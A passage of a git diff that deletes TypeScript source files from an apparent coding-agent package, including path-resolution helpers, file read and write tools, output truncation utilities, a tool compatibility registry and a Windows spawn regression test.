"/usr/local/bin"; - const msysRegex = /^\/[a-zA-Z]\//; - // /u/local/bin would match, but /usr/local/bin has 3+ chars before / - // Actually /u/ would match — but /usr/ won't because 'us' is 2 chars. - // The regex checks single letter after leading slash. - assert.ok( - !msysRegex.test("/usr/local/bin"), - "/usr/... is not an MSYS path", - ); - assert.ok( - msysRegex.test("/u/local/bin"), - "/u/... would match (single letter)", - ); - }); - - it("does not convert paths without leading slash", () => { - const msysRegex = /^\/[a-zA-Z]\//; - assert.ok(!msysRegex.test("c/Users/test"), "no leading slash — not MSYS"); - assert.ok(!msysRegex.test("relative/path"), "relative path — not MSYS"); - }); -}); diff --git a/packages/pi-coding-agent/src/core/tools/path-utils.ts b/packages/pi-coding-agent/src/core/tools/path-utils.ts deleted file mode 100644 index f87261782..000000000 --- a/packages/pi-coding-agent/src/core/tools/path-utils.ts +++ /dev/null @@ -1,124 +0,0 @@ -import { accessSync, constants, realpathSync } from "node:fs"; -import * as os from "node:os"; -import { isAbsolute, resolve as resolvePath } from "node:path"; - -export const UNICODE_SPACES = /[\u00A0\u1680\u2000-\u200A\u202F\u205F\u3000]/g; -const NARROW_NO_BREAK_SPACE = "\u202F"; -function normalizeUnicodeSpaces(str: string): string { - return str.replace(UNICODE_SPACES, " "); -} - -function tryMacOSScreenshotPath(filePath: string): string { - return filePath.replace(/ (AM|PM)\./g, `${NARROW_NO_BREAK_SPACE}$1.`); -} - -function tryNFDVariant(filePath: string): string { - // macOS stores filenames in NFD (decomposed) form, try converting user input to NFD - return filePath.normalize("NFD"); -} - -function tryCurlyQuoteVariant(filePath: string): string { - // macOS uses U+2019 (right single quotation mark) in screenshot names like "Capture d'écran" - // Users typically type U+0027 (straight apostrophe) - return filePath.replace(/'/g, "\u2019"); -} - -function fileExists(filePath: string): boolean { - try { - accessSync(filePath, constants.F_OK); - return true; - } catch { - return false; - } -} - -function normalizeAtPrefix(filePath: string): string { - return filePath.startsWith("@") ? filePath.slice(1) : filePath; -} - -export function expandPath(filePath: string): string { - const normalized = normalizeUnicodeSpaces(normalizeAtPrefix(filePath)); - if (normalized === "~") { - return os.homedir(); - } - if (normalized.startsWith("~/")) { - return os.homedir() + normalized.slice(1); - } - return normalized; -} - -/** - * On Windows, convert MSYS/MinGW-style paths (/c/Users/...) to native - * drive letter paths (C:\Users\...). LLMs often produce these when given - * Windows paths in prompts. - */ -function normalizeMsysPath(p: string): string { - if (process.platform === "win32" && /^\/[a-zA-Z]\//.test(p)) { - return `${p[1]!.toUpperCase()}:\\${p.slice(3).replace(/\//g, "\\")}`; - } - return p; -} - -/** - * Resolve a path relative to the given cwd. - * Handles ~ expansion, MSYS-style paths on Windows, and absolute paths. - */ -export function resolveToCwd(filePath: string, cwd: string): string { - const expanded = normalizeMsysPath(expandPath(filePath)); - if (isAbsolute(expanded)) { - return expanded; - } - return resolvePath(cwd, expanded); -} - -/** - * Resolve symlinks to their canonical absolute path. - * Returns the original path if realpathSync fails (e.g., path does not exist). - * - * Purpose: deduplicate resources that are reachable via multiple symlinked - * paths — two different paths may resolve to the same underlying file. - * - * Consumer: resource loaders (skills, prompts, themes) that merge paths - * from multiple sources and must avoid loading the same file twice. - */ -export function canonicalizePath(filePath: string): string { - try { - return realpathSync(filePath); - } catch { - return filePath; - } -} - -export function resolveReadPath(filePath: string, cwd: string): string { - const resolved = resolveToCwd(filePath, cwd); - - if (fileExists(resolved)) { - return resolved; - } - - // Try macOS AM/PM variant (narrow no-break space before AM/PM) - const amPmVariant = tryMacOSScreenshotPath(resolved); - if (amPmVariant !== resolved && fileExists(amPmVariant)) { - return amPmVariant; - } - - // Try NFD variant (macOS stores filenames in NFD form) - const nfdVariant = tryNFDVariant(resolved); - if (nfdVariant !== resolved && fileExists(nfdVariant)) { - return nfdVariant; - } - - // Try curly quote variant (macOS uses U+2019 in screenshot names) - const curlyVariant = tryCurlyQuoteVariant(resolved); - if (curlyVariant !== resolved && fileExists(curlyVariant)) { - return curlyVariant; - } - - // Try combined NFD + curly quote (for French macOS screenshots like "Capture d'écran") - const nfdCurlyVariant = tryCurlyQuoteVariant(nfdVariant); - if (nfdCurlyVariant !== resolved && fileExists(nfdCurlyVariant)) { - return nfdCurlyVariant; - } - - return resolved; -} diff --git a/packages/pi-coding-agent/src/core/tools/read.ts b/packages/pi-coding-agent/src/core/tools/read.ts deleted file mode 100644 index 99af9b6d6..000000000 --- a/packages/pi-coding-agent/src/core/tools/read.ts +++ /dev/null @@ -1,387 +0,0 @@ -import { constants, createReadStream } from "node:fs"; -import { access as fsAccess, readFile as fsReadFile } from "node:fs/promises"; -import { createInterface } from "node:readline"; -import { type Static, Type } from "@sinclair/typebox"; -import type { AgentTool } from "@singularity-forge/pi-agent-core"; -import type { ImageContent, TextContent } from "@singularity-forge/pi-ai"; -import { formatDimensionNote, resizeImage } from "../../utils/image-resize.js"; -import { detectSupportedImageMimeTypeFromFile } from "../../utils/mime.js"; -import { resolveReadPath } from "./path-utils.js"; -import { - DEFAULT_MAX_BYTES, - DEFAULT_MAX_LINES, - formatSize, - type TruncationResult, - truncateHead, -} from "./truncate.js"; - -const readSchema = Type.Object({ - path: Type.String({ - description: "Path to the file to read (relative or absolute)", - }), - offset: Type.Optional( - Type.Number({ - description: "Line number to start reading from (1-indexed)", - }), - ), - limit: Type.Optional( - Type.Number({ description: "Maximum number of lines to read" }), - ), -}); - -export type ReadToolInput = Static; - -export interface ReadToolDetails { - truncation?: TruncationResult; -} - -/** - * Pluggable operations for the read tool. - * Override these to delegate file reading to remote systems (e.g., SSH). - */ -export interface ReadOperations { - /** Read file contents as a Buffer */ - readFile: (absolutePath: string) => Promise; - /** Check if file is readable (throw if not) */ - access: (absolutePath: string) => Promise; - /** Detect image MIME type, return null/undefined for non-images */ - detectImageMimeType?: ( - absolutePath: string, - ) => Promise; -} - -const defaultReadOperations: ReadOperations = { - readFile: (path) => fsReadFile(path), - access: (path) => fsAccess(path, constants.R_OK), - detectImageMimeType: detectSupportedImageMimeTypeFromFile, -}; - -export interface ReadToolOptions { - /** Whether to auto-resize images to 2000x2000 max. Default: true */ - autoResizeImages?: boolean; - /** Custom operations for file reading. Default: local filesystem */ - operations?: ReadOperations; -} - -/** - * Read specific lines from a file using streaming (memory-efficient). - * Only reads the requested lines without loading the entire file. - * - * @param absolutePath - Path to the file - * @param startLine - 1-indexed line to start from - * @param lineCount - Maximum number of lines to read - * @param signal - Optional abort signal - * @returns Object with lines array and total line count (if reached) - */ -async function readLinesStreamed( - absolutePath: string, - startLine: number, - lineCount: number, - signal?: AbortSignal, -): Promise<{ lines: string[]; totalLines: number }> { - const stream = createReadStream(absolutePath, { encoding: "utf-8" }); - const rl = createInterface({ input: stream }); - - const lines: string[] = []; - let currentLine = 0; - let totalLines = 0; - - try { - for await (const line of rl) { - if (signal?.aborted) { - throw new Error("Operation aborted"); - } - - currentLine++; - - // Skip lines before startLine - if (currentLine < startLine) { - continue; - } - - // Collect lines within the requested range - if (currentLine >= startLine && lines.length < lineCount) { - lines.push(line); - } - - // Stop if we've collected enough lines - if (lines.length >= lineCount) { - // We need to count remaining lines for the "total lines" info - // But we can stop reading and just count - totalLines = currentLine; - break; - } - } - - // If we didn't break early, currentLine is the total - if (totalLines === 0) { - totalLines = currentLine; - } - } finally { - stream.destroy(); - rl.close(); - } - - return { lines, totalLines }; -} - -/** - * Count total lines in a file efficiently. - * - * @param absolutePath - Path to the file - * @param signal - Optional abort signal - * @returns Total number of lines - */ -async function countLines( - absolutePath: string, - signal?: AbortSignal, -): Promise { - const stream = createReadStream(absolutePath, { encoding: "utf-8" }); - const rl = createInterface({ input: stream }); - - let count = 0; - - try { - for await (const _line of rl) { - if (signal?.aborted) { - throw new Error("Operation aborted"); - } - count++; - } - } finally { - stream.destroy(); - rl.close(); - } - - return count; -} - -export function createReadTool( - cwd: string, - options?: ReadToolOptions, -): AgentTool { - const autoResizeImages = options?.autoResizeImages ?? true; - const ops = options?.operations ?? defaultReadOperations; - - return { - name: "read", - label: "read", - description: `Read the contents of a file. Supports text files and images (jpg, png, gif, webp). Images are sent as attachments. For text files, output is truncated to ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). Use offset/limit for large files. When you need the full file, continue with offset until complete.`, - parameters: readSchema, - execute: async ( - _toolCallId: string, - { - path, - offset, - limit, - }: { path: string; offset?: number; limit?: number }, - signal?: AbortSignal, - ) => { - const absolutePath = resolveReadPath(path, cwd); - - return new Promise<{ - content: (TextContent | ImageContent)[]; - details: ReadToolDetails | undefined; - }>((resolve, reject) => { - // Check if already aborted - if (signal?.aborted) { - reject(new Error("Operation aborted")); - return; - } - - let aborted = false; - - // Set up abort handler - const onAbort = () => { - aborted = true; - reject(new Error("Operation aborted")); - }; - - if (signal) { - signal.addEventListener("abort", onAbort, { once: true }); - } - - // Perform the read operation - (async () => { - try { - // Check if file exists - await ops.access(absolutePath); - - // Check if aborted before reading - if (aborted) { - return; - } - - const mimeType = ops.detectImageMimeType - ? await ops.detectImageMimeType(absolutePath) - : undefined; - - // Read the file based on type - let content: (TextContent | ImageContent)[]; - let details: ReadToolDetails | undefined; - - if (mimeType) { - // Read as image (binary) - const buffer = await ops.readFile(absolutePath); - const base64 = buffer.toString("base64"); - - if (autoResizeImages) { - // Resize image if needed - const resized = await resizeImage({ - type: "image", - data: base64, - mimeType, - }); - const dimensionNote = formatDimensionNote(resized); - - let textNote = `Read image file [${resized.mimeType}]`; - if (dimensionNote) { - textNote += `\n${dimensionNote}`; - } - - content = [ - { type: "text", text: textNote }, - { - type: "image", - data: resized.data, - mimeType: resized.mimeType, - }, - ]; - } else { - const textNote = `Read image file [${mimeType}]`; - content = [ - { type: "text", text: textNote }, - { type: "image", data: base64, mimeType }, - ]; - } - } else { - // Read as text - let outputText: string; - let _details: ReadToolDetails | undefined; - - // Use streaming when offset or limit are specified (memory-efficient for large files) - if (offset !== undefined || limit !== undefined) { - const startLine = offset ? Math.max(1, offset) : 1; - const lineCount = limit ?? DEFAULT_MAX_LINES; - - // First, count total lines for the notice - const totalFileLines = await countLines(absolutePath, signal); - - // Clamp offset to file bounds (#3007) - let effectiveStartLine = startLine; - let offsetClamped = false; - if (effectiveStartLine > totalFileLines) { - effectiveStartLine = Math.max(1, totalFileLines); - offsetClamped = true; - } - - // Stream only the requested lines - const { lines } = await readLinesStreamed( - absolutePath, - effectiveStartLine, - lineCount, - signal, - ); - const selectedContent = lines.join("\n"); - - // Apply truncation to the selected content - const truncation = truncateHead(selectedContent); - - if (truncation.firstLineExceedsLimit) { - const firstLineSize = formatSize( - Buffer.byteLength(lines[0] ?? "", "utf-8"), - ); - outputText = `[Line ${effectiveStartLine} is ${firstLineSize}, exceeds ${formatSize(DEFAULT_MAX_BYTES)} limit. Use bash: sed -n '${effectiveStartLine}p' ${path} | head -c ${DEFAULT_MAX_BYTES}]`; - _details = { truncation }; - } else if (truncation.truncated) { - const endLineDisplay = - effectiveStartLine + truncation.outputLines - 1; - const nextOffset = endLineDisplay + 1; - - outputText = truncation.content; - - if (truncation.truncatedBy === "lines") { - outputText += `\n\n[Showing lines ${effectiveStartLine}-${endLineDisplay} of ${totalFileLines}. Use offset=${nextOffset} to continue.]`; - } else { - outputText += `\n\n[Showing lines ${effectiveStartLine}-${endLineDisplay} of ${totalFileLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Use offset=${nextOffset} to continue.]`; - } - _details = { truncation }; - } else if ( - lines.length >= lineCount && - effectiveStartLine + lines.length - 1 < totalFileLines - ) { - // User limit reached, more content available - const nextOffset = effectiveStartLine + lines.length; - const remaining = - totalFileLines - (effectiveStartLine + lines.length - 1); - - outputText = truncation.content; - outputText += `\n\n[${remaining} more lines in file. Use offset=${nextOffset} to continue.]`; - } else { - outputText = truncation.content; - } - - if (offsetClamped) { - outputText = `[Offset ${offset} beyond end of file (${totalFileLines} lines). Clamped to line ${effectiveStartLine}.]\n\n${outputText}`; - } - } else { - // No offset/limit - read entire file (existing behavior) - const buffer = await ops.readFile(absolutePath); - const textContent = buffer.toString("utf-8"); - const allLines = textContent.split("\n"); - const totalFileLines = allLines.length; - - const truncation = truncateHead(textContent); - - if (truncation.firstLineExceedsLimit) { - outputText = `[File exceeds ${formatSize(DEFAULT_MAX_BYTES)} limit. Use bash: head -c ${DEFAULT_MAX_BYTES} ${path}]`; - _details = { truncation }; - } else if (truncation.truncated) { - const endLineDisplay = truncation.outputLines; - const nextOffset = endLineDisplay + 1; - - outputText = truncation.content; - - if (truncation.truncatedBy === "lines") { - outputText += `\n\n[Showing lines 1-${endLineDisplay} of ${totalFileLines}. Use offset=${nextOffset} to continue.]`; - } else { - outputText += `\n\n[Showing lines 1-${endLineDisplay} of ${totalFileLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Use offset=${nextOffset} to continue.]`; - } - _details = { truncation }; - } else { - outputText = truncation.content; - } - } - - content = [{ type: "text", text: outputText }]; - } - - // Check if aborted after reading - if (aborted) { - return; - } - - // Clean up abort handler - if (signal) { - signal.removeEventListener("abort", onAbort); - } - - resolve({ content, details }); - } catch (error: any) { - // Clean up abort handler - if (signal) { - signal.removeEventListener("abort", onAbort); - } - - if (!aborted) { - reject(error); - } - } - })(); - }); - }, - }; -} - -/** Default read tool using process.cwd() - for backwards compatibility */ -export const readTool = createReadTool(process.cwd()); diff --git a/packages/pi-coding-agent/src/core/tools/spawn-shell-windows.test.ts b/packages/pi-coding-agent/src/core/tools/spawn-shell-windows.test.ts deleted file mode 100644 index 4704cc449..000000000 --- a/packages/pi-coding-agent/src/core/tools/spawn-shell-windows.test.ts +++ /dev/null @@ -1,92 +0,0 @@ -/** - * spawn-shell-windows.test.ts — Regression test for Windows spawn ENOENT/EINVAL. - * - * On Windows, npm/npx/tsc and other tools are installed as .cmd batch scripts. - * Node's `spawn()` without `shell: true` cannot execute .cmd files, resulting - * in ENOENT or EINVAL errors. Every spawn site that may invoke a user-installed - * binary (not `node` or a shell like `sh`/`bash`/`cmd`) must include - * `shell: process.platform === "win32"` so the call is resolved through cmd.exe - * on Windows while remaining a direct exec on POSIX. - * - * This test structurally scans all spawn sites and verifies the guard is present. - * - * Fixes: singularity-forge/sf-run#2854 - */ - -import assert from "node:assert/strict"; -import { readFileSync } from "node:fs"; -import { dirname, join, relative } from "node:path"; -import { fileURLToPath } from "node:url"; -import { test } from "vitest"; - -const __dirname = dirname(fileURLToPath(import.meta.url)); -const coreDir = join(__dirname, ".."); - -/** - * Files that call `spawn()` with a user-facing binary (not `node`, `sh`, `bash`, - * or `cmd`) and therefore need the Windows shell guard. - * - * If a file spawns only hardcoded system binaries (like `node` in rpc-client.ts), - * it does not need the guard and should NOT appear here. - */ -const SPAWN_FILES_NEEDING_SHELL_GUARD = [ - // Extension's SF client — spawns the `sf` binary which is a .cmd on Windows - join(coreDir, "..", "..", "..", "vscode-extension", "src", "sf-client.ts"), - // exec.ts — used by extensions to run arbitrary commands - join(coreDir, "exec.ts"), - // LSP index — spawns project-type commands (tsc, cargo, etc.) - join(coreDir, "lsp", "index.ts"), - // LSP client — spawns LSP server binaries (npx, etc.) - join(coreDir, "lsp", "client.ts"), - // LSP mux — spawns lspmux binary - join(coreDir, "lsp", "lspmux.ts"), - // Package manager — spawns npm/yarn/pnpm - join(coreDir, "package-manager.ts"), -]; - -test("all spawn sites that invoke user-facing binaries include shell: process.platform === 'win32'", () => { - const failures: string[] = []; - - for (const file of SPAWN_FILES_NEEDING_SHELL_GUARD) { - let content: string; - try { - content = readFileSync(file, "utf-8"); - } catch { - // File may not exist in this checkout — skip - continue; - } - - const lines = content.split("\n"); - - // Find all spawn(..., { ... }) call sites and check each one - // for the presence of `shell: process.platform === "win32"` within - // 5 lines after the spawn call. - for (let i = 0; i < lines.length; i++) { - const line = lines[i]!; - // Skip comments - if (line.trim().startsWith("//") || line.trim().startsWith("*")) continue; - - // Detect a spawn() call - if (/\bspawn\(/.test(line)) { - // Look ahead up to 8 lines for the shell guard - const lookahead = lines.slice(i, i + 8).join("\n"); - const hasShellGuard = - /shell:\s*process\.platform\s*===\s*["']win32["']/.test(lookahead); - - if (!hasShellGuard) { - const relPath = relative(join(coreDir, "..", ".."), file); - failures.push(`${relPath}:${i + 1}`); - } - } - } - } - - assert.deepEqual( - failures, - [], - `The following spawn sites are missing 'shell: process.platform === "win32"':\n` + - failures.map((f) => ` - ${f}`).join("\n") + - `\nOn Windows, .cmd wrapper scripts (npm, npx, tsc, sf) require shell ` + - `resolution. Without this guard, spawn fails with ENOENT or EINVAL.`, - ); -}); diff --git a/packages/pi-coding-agent/src/core/tools/tool-compatibility-registry.ts b/packages/pi-coding-agent/src/core/tools/tool-compatibility-registry.ts deleted file mode 100644 index 9adb0d875..000000000 --- a/packages/pi-coding-agent/src/core/tools/tool-compatibility-registry.ts +++ /dev/null @@ -1,94 +0,0 @@ -// SF — Tool Compatibility Registry (ADR-005 Phase 2) -// Maps tool names to their provider compatibility metadata. -// Used by the model router to filter tools incompatible with the selected provider. - -import type { ToolCompatibility } from "../extensions/types.js"; - -// ─── Registry State ───────────────────────────────────────────────────────── - -const registry = new Map(); - -// ─── Built-in Tool Compatibility (universally compatible) ─────────────────── -// Built-in tools (bash, read, write, edit, grep, find, ls) produce text-only -// results and use standard JSON Schema — compatible with all providers. - -const BUILTIN_TOOLS: Record = { - bash: {}, - read: {}, - write: {}, - edit: {}, - grep: {}, - find: {}, - ls: {}, - lsp: {}, - hashline_edit: {}, - hashline_read: {}, -}; - -// Pre-populate registry with built-in tools -for (const [name, compat] of Object.entries(BUILTIN_TOOLS)) { - registry.set(name, compat); -} - -// ─── MCP Tool Defaults ───────────────────────────────────────────────────── -// MCP tools may use complex schemas. Default to cautious compatibility. - -const MCP_TOOL_DEFAULTS: ToolCompatibility = { - schemaFeatures: ["patternProperties"], -}; - -// ─── Public API ───────────────────────────────────────────────────────────── - -/** - * Register compatibility metadata for a tool. - * Called automatically by registerTool() for extension tools that include - * compatibility metadata in their ToolDefinition. - */ -export function registerToolCompatibility( - toolName: string, - compatibility: ToolCompatibility, -): void { - registry.set(toolName, compatibility); -} - -/** - * Get compatibility metadata for a tool. - * Returns undefined for unknown tools (treated as universally compatible - * per ADR-005 principle: "fail open, don't restrict without data"). - */ -export function getToolCompatibility( - toolName: string, -): ToolCompatibility | undefined { - return registry.get(toolName); -} - -/** - * Get all registered tool compatibility entries. - */ -export function getAllToolCompatibility(): ReadonlyMap< - string, - ToolCompatibility -> { - return registry; -} - -/** - * Register an MCP tool with default cautious compatibility. - * MCP tools may use complex schemas that some providers don't support. - */ -export function registerMcpToolCompatibility( - toolName: string, - overrides?: Partial, -): void { - registry.set(toolName, { ...MCP_TOOL_DEFAULTS, ...overrides }); -} - -/** - * Clear all non-builtin entries (for testing). - */ -export function resetToolCompatibilityRegistry(): void { - registry.clear(); - for (const [name, compat] of Object.entries(BUILTIN_TOOLS)) { - registry.set(name, compat); - } -} diff --git a/packages/pi-coding-agent/src/core/tools/truncate.ts b/packages/pi-coding-agent/src/core/tools/truncate.ts deleted file mode 100644 index 380da3040..000000000 --- a/packages/pi-coding-agent/src/core/tools/truncate.ts +++ /dev/null @@ -1,281 +0,0 @@ -/** - * Shared truncation utilities for tool outputs. - * - * Truncation is based on two independent limits - whichever is hit first wins: - * - Line limit (default: 2000 lines) - * - Byte limit (default: 50KB) - * - * Never returns partial lines (except bash tail truncation edge case). - */ - -import { TRUNCATE_DEFAULT_MAX_LINES } from "../constants.js"; - -export const DEFAULT_MAX_LINES = TRUNCATE_DEFAULT_MAX_LINES; -export const DEFAULT_MAX_BYTES = 50 * 1024; // 50KB -export const GREP_MAX_LINE_LENGTH = 500; // Max chars per grep match line - -export interface TruncationResult { - /** The truncated content */ - content: string; - /** Whether truncation occurred */ - truncated: boolean; - /** Which limit was hit: "lines", "bytes", or null if not truncated */ - truncatedBy: "lines" | "bytes" | null; - /** Total number of lines in the original content */ - totalLines: number; - /** Total number of bytes in the original content */ - totalBytes: number; - /** Number of complete lines in the truncated output */ - outputLines: number; - /** Number of bytes in the truncated output */ - outputBytes: number; - /** Whether the last line was partially truncated (only for tail truncation edge case) */ - lastLinePartial: boolean; - /** Whether the first line exceeded the byte limit (for head truncation) */ - firstLineExceedsLimit: boolean; - /** The max lines limit that was applied */ - maxLines: number; - /** The max bytes limit that was applied */ - maxBytes: number; -} - -export interface TruncationOptions { - /** Maximum number of lines (default: 2000) */ - maxLines?: number; - /** Maximum number of bytes (default: 50KB) */ - maxBytes?: number; -} - -/** - * Format bytes as human-readable size. - */ -export function formatSize(bytes: number): string { - if (bytes < 1024) { - return `${bytes}B`; - } else if (bytes < 1024 * 1024) { - return `${(bytes / 1024).toFixed(1)}KB`; - } else { - return `${(bytes / (1024 * 1024)).toFixed(1)}MB`; - } -} - -/** - * Truncate content from the head (keep first N lines/bytes). - * Suitable for file reads where you want to see the beginning. - * - * Never returns partial lines. If first line exceeds byte limit, - * returns empty content with firstLineExceedsLimit=true. - */ -export function truncateHead( - content: string, - options: TruncationOptions = {}, -): TruncationResult { - const maxLines = options.maxLines ?? DEFAULT_MAX_LINES; - const maxBytes = options.maxBytes ?? DEFAULT_MAX_BYTES; - - const totalBytes = Buffer.byteLength(content, "utf-8"); - const lines = content.split("\n"); - const totalLines = lines.length; - - // Check if no truncation needed - if (totalLines <= maxLines && totalBytes <= maxBytes) { - return { - content, - truncated: false, - truncatedBy: null, - totalLines, - totalBytes, - outputLines: totalLines, - outputBytes: totalBytes, - lastLinePartial: false, - firstLineExceedsLimit: false, - maxLines, - maxBytes, - }; - } - - // Check if first line alone exceeds byte limit - const firstLineBytes = Buffer.byteLength(lines[0], "utf-8"); - if (firstLineBytes > maxBytes) { - return { - content: "", - truncated: true, - truncatedBy: "bytes", - totalLines, - totalBytes, - outputLines: 0, - outputBytes: 0, - lastLinePartial: false, - firstLineExceedsLimit: true, - maxLines, - maxBytes, - }; - } - - // Collect complete lines that fit - const outputLinesArr: string[] = []; - let outputBytesCount = 0; - let truncatedBy: "lines" | "bytes" = "lines"; - - for (let i = 0; i < lines.length && i < maxLines; i++) { - const line = lines[i]; - const lineBytes = Buffer.byteLength(line, "utf-8") + (i > 0 ? 1 : 0); // +1 for newline - - if (outputBytesCount + lineBytes > maxBytes) { - truncatedBy = "bytes"; - break; - } - - outputLinesArr.push(line); - outputBytesCount += lineBytes; - } - - // If we exited due to line limit - if (outputLinesArr.length >= maxLines && outputBytesCount <= maxBytes) { - truncatedBy = "lines"; - } - - const outputContent = outputLinesArr.join("\n"); - const finalOutputBytes = Buffer.byteLength(outputContent, "utf-8"); - - return { - content: outputContent, - truncated: true, - truncatedBy, - totalLines, - totalBytes, - outputLines: outputLinesArr.length, - outputBytes: finalOutputBytes, - lastLinePartial: false, - firstLineExceedsLimit: false, - maxLines, - maxBytes, - }; -} - -/** - * Truncate content from the tail (keep last N lines/bytes). - * Suitable for bash output where you want to see the end (errors, final results). - * - * May return partial first line if the last line of original content exceeds byte limit. - */ -export function truncateTail( - content: string, - options: TruncationOptions = {}, -): TruncationResult { - const maxLines = options.maxLines ?? DEFAULT_MAX_LINES; - const maxBytes = options.maxBytes ?? DEFAULT_MAX_BYTES; - - const totalBytes = Buffer.byteLength(content, "utf-8"); - const lines = content.split("\n"); - const totalLines = lines.length; - - // Check if no truncation needed - if (totalLines <= maxLines && totalBytes <= maxBytes) { - return { - content, - truncated: false, - truncatedBy: null, - totalLines, - totalBytes, - outputLines: totalLines, - outputBytes: totalBytes, - lastLinePartial: false, - firstLineExceedsLimit: false, - maxLines, - maxBytes, - }; - } - - // Work backwards from the end - const outputLinesArr: string[] = []; - let outputBytesCount = 0; - let truncatedBy: "lines" | "bytes" = "lines"; - let lastLinePartial = false; - - for ( - let i = lines.length - 1; - i >= 0 && outputLinesArr.length < maxLines; - i-- - ) { - const line = lines[i]; - const lineBytes = - Buffer.byteLength(line, "utf-8") + (outputLinesArr.length > 0 ? 1 : 0); // +1 for newline - - if (outputBytesCount + lineBytes > maxBytes) { - truncatedBy = "bytes"; - // Edge case: if we haven't added ANY lines yet and this line exceeds maxBytes, - // take the end of the line (partial) - if (outputLinesArr.length === 0) { - const truncatedLine = truncateStringToBytesFromEnd(line, maxBytes); - outputLinesArr.unshift(truncatedLine); - outputBytesCount = Buffer.byteLength(truncatedLine, "utf-8"); - lastLinePartial = true; - } - break; - } - - outputLinesArr.unshift(line); - outputBytesCount += lineBytes; - } - - // If we exited due to line limit - if (outputLinesArr.length >= maxLines && outputBytesCount <= maxBytes) { - truncatedBy = "lines"; - } - - const outputContent = outputLinesArr.join("\n"); - const finalOutputBytes = Buffer.byteLength(outputContent, "utf-8"); - - return { - content: outputContent, - truncated: true, - truncatedBy, - totalLines, - totalBytes, - outputLines: outputLinesArr.length, - outputBytes: finalOutputBytes, - lastLinePartial, - firstLineExceedsLimit: false, - maxLines, - maxBytes, - }; -} - -/** - * Truncate a string to fit within a byte limit (from the end). - * Handles multi-byte UTF-8 characters correctly. - */ -function truncateStringToBytesFromEnd(str: string, maxBytes: number): string { - const buf = Buffer.from(str, "utf-8"); - if (buf.length <= maxBytes) { - return str; - } - - // Start from the end, skip maxBytes back - let start = buf.length - maxBytes; - - // Find a valid UTF-8 boundary (start of a character) - while (start < buf.length && (buf[start] & 0xc0) === 0x80) { - start++; - } - - return buf.slice(start).toString("utf-8"); -} - -/** - * Truncate a single line to max characters, adding [truncated] suffix. - * Used for grep match lines. - */ -export function truncateLine( - line: string, - maxChars: number = GREP_MAX_LINE_LENGTH, -): { text: string; wasTruncated: boolean } { - if (line.length <= maxChars) { - return { text: line, wasTruncated: false }; - } - return { - text: `${line.slice(0, maxChars)}... [truncated]`, - wasTruncated: true, - }; -} diff --git a/packages/pi-coding-agent/src/core/tools/write.ts b/packages/pi-coding-agent/src/core/tools/write.ts deleted file mode 100644 index 143dcc86f..000000000 --- a/packages/pi-coding-agent/src/core/tools/write.ts +++ /dev/null @@ -1,136 +0,0 @@ -import { mkdir as fsMkdir, writeFile as fsWriteFile } from "node:fs/promises"; -import { dirname } from "node:path"; -import { type Static, Type } from "@sinclair/typebox"; -import type { AgentTool } from "@singularity-forge/pi-agent-core"; -import { notifyFileChanged } from "../lsp/client.js"; -import { resolveToCwd } from "./path-utils.js"; - -const writeSchema = Type.Object({ - path: Type.String({ - description: "Path to the file to write (relative or absolute)", - }), - content: Type.String({ description: "Content to write to the file" }), -}); - -export type WriteToolInput = Static; - -/** - * Pluggable operations for the write tool. - * Override these to delegate file writing to remote systems (e.g., SSH). - */ -export interface WriteOperations { - /** Write content to a file */ - writeFile: (absolutePath: string, content: string) => Promise; - /** Create directory (recursively) */ - mkdir: (dir: string) => Promise; -} - -const defaultWriteOperations: WriteOperations = { - writeFile: (path, content) => fsWriteFile(path, content, "utf-8"), - mkdir: (dir) => fsMkdir(dir, { recursive: true }).then(() => {}), -}; - -export interface WriteToolOptions { - /** Custom operations for file writing. Default: local filesystem */ - operations?: WriteOperations; -} - -export function createWriteTool( - cwd: string, - options?: WriteToolOptions, -): AgentTool { - const ops = options?.operations ?? defaultWriteOperations; - - return { - name: "write", - label: "write", - description: - "Write content to a file. Creates the file if it doesn't exist, overwrites if it does. Automatically creates parent directories.", - parameters: writeSchema, - execute: async ( - _toolCallId: string, - { path, content }: { path: string; content: string }, - signal?: AbortSignal, - ) => { - const absolutePath = resolveToCwd(path, cwd); - const dir = dirname(absolutePath); - - return new Promise<{ - content: Array<{ type: "text"; text: string }>; - details: undefined; - }>((resolve, reject) => { - // Check if already aborted - if (signal?.aborted) { - reject(new Error("Operation aborted")); - return; - } - - let aborted = false; - - // Set up abort handler - const onAbort = () => { - aborted = true; - reject(new Error("Operation aborted")); - }; - - if (signal) { - signal.addEventListener("abort", onAbort, { once: true }); - } - - // Perform the write operation - (async () => { - try { - // Create parent directories if needed - await ops.mkdir(dir); - - // Check if aborted before writing - if (aborted) { - return; - } - - // Write the file - await ops.writeFile(absolutePath, content); - - try { - notifyFileChanged(absolutePath); - } catch { - /* best-effort */ - } - - // Check if aborted after writing - if (aborted) { - return; - } - - // Clean up abort handler - if (signal) { - signal.removeEventListener("abort", onAbort); - } - - resolve({ - content: [ - { - type: "text", - text: `Successfully wrote ${content.length} bytes to ${path}`, - }, - ], - details: undefined, - }); - } catch (error: any) { - // Clean up abort handler - if (signal) { - signal.removeEventListener("abort", onAbort); - } - - if (!aborted) { - reject(error); - } - } - })(); - }); - }, - }; -} - -/** Default write tool using process.cwd() - for backwards compatibility */ -export const writeTool = createWriteTool(process.cwd()); diff --git a/packages/pi-coding-agent/src/index.ts b/packages/pi-coding-agent/src/index.ts deleted file mode 100644 index 32f3c9f68..000000000 --- a/packages/pi-coding-agent/src/index.ts +++ /dev/null @@ -1,440 +0,0 @@ -// Core session management - -export { discoverAndPrintModels, listModels } from "./cli/list-models.js"; -// Config paths -export { getAgentDir, VERSION } from "./config.js"; -export { - AgentSession, - type AgentSessionConfig, - type AgentSessionEvent, - type AgentSessionEventListener, - type ModelCycleResult, - type ParsedSkillBlock, - type PromptOptions, - parseSkillBlock, - type SessionStats, -} from "./core/agent-session.js"; -export { ArtifactManager } from "./core/artifact-manager.js"; -// Auth and model registry -export { - type ApiKeyCredential, - type AuthCredential, - AuthStorage, - type AuthStorageBackend, - FileAuthStorageBackend, - InMemoryAuthStorageBackend, - type OAuthCredential, -} from "./core/auth-storage.js"; -// Blob and artifact storage -export { - BlobStore, - externalizeImageData, - isBlobRef, - parseBlobRef, - resolveImageData, -} from "./core/blob-store.js"; -// Compaction -export { - type BranchPreparation, - type BranchSummaryResult, - type CollectEntriesResult, - type CompactionResult, - type CutPointResult, - calculateContextTokens, - 